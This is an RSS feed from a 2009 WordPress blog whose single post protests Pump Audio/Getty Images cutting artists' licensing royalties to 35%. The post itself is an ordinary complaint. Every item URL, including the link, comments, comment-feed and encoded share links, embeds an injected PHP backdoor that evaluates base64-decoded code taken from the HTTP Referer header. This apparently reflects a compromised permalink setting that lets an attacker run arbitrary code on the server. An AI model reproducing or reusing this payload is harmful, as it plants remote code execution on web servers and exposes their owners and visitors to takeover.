<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Pump Audio and Getty Images Stickin it to Artists</title>
	<atom:link href="http://www.pumpgetty.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pumpgetty.com</link>
	<description>Pump Audio and Getty Images Exploiting Artists</description>
	<pubDate>Fri, 15 May 2009 22:40:48 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Pump Audio Artists Getting Pumped</title>
		<link>http://www.pumpgetty.com/2009/05/12/pump-artists-getting-pumped/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pumpgetty.com/2009/05/12/pump-artists-getting-pumped/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 13 May 2009 02:36:51 +0000</pubDate>
		<dc:creator>pumpGetty</dc:creator>
		
		<category><![CDATA[Pumped]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[getty]]></category>

		<category><![CDATA[getty images]]></category>

		<category><![CDATA[pump]]></category>

		<category><![CDATA[pump audio]]></category>

		<category><![CDATA[pumpgetty]]></category>

		<guid isPermaLink="false">http://pumpgetty.com/pump/?p=8</guid>
		<description><![CDATA[I received a letter from Pump Audio, which is owned by Getty Images, the other day announcing that they were changing their royalty structure.  The letter read as follows:

1) Licensing fees will now be 35% to the artist, 65% to Pump Audio/Getty Images
2) This change will take place as of July 1, 2009. Any [...]]]></description>
			<content:encoded><![CDATA[<p>I received a letter from Pump Audio, which is owned by Getty Images, the other day announcing that they were changing their royalty structure.  The letter read as follows:</p>
<ul>
<li>1) Licensing fees will now be 35% to the artist, 65% to Pump Audio/Getty Images</li>
<li>2) This change will take place as of July 1, 2009. Any royalties payable through June 30, 2009 will not be affected by this change</li>
<li>3) Performance royalty splits will remain at 50% of the publisher’s share </li>
<li>4) Those that don’t accept the new split will have their music removed from the system no later than December 31, 2009.</li>
<li>5) The rights you granted to us in the original contract do not change</li>
</ul>
<p>As you can see Pump Audio / Getty Images now deem their services worth 65% of licensing fees for their artists work, and if we as pump artists don&#8217;t like it our music will be removed from their catalog.</p>
<p>I understand that Pump Audio / Getty Images does provide infrastructure and sales support to it&#8217;s artists, but without us they wouldn&#8217;t have anything to sell.  Traditional relationships of this kind have been 50/50, and this was the case with Pump Audio / Getty Images before the recent change.</p>
<p>The greed Pump Audio / Getty Images is displaying by strong arming their artist out of 15% is what all stock contributers may have to look forward to in the future unless artists refuse to conform to their demands.</p>
<p>If you have a story or opinion you would like to share about Pump Audio / Getty Images, please go to the &#8220;your thoughts&#8221; button at the top of the page, send me your message, and I will post it here.</p>
<p>Also if anyone is looking for an alternative venue <a href="http://www.rumblefish.com" target="_blank">www.rumblefish.com</a> has been good to me so far.</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.pumpgetty.com%2F2009%2F05%2F12%2Fpump-artists-getting-pumped%2F%25%26amp%3B%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26amp%3B%25%2F&amp;linkname=Pump%20Audio%20Artists%20Getting%20Pumped"><img src="http://www.pumpgetty.com/pump/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.pumpgetty.com/2009/05/12/pump-artists-getting-pumped/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
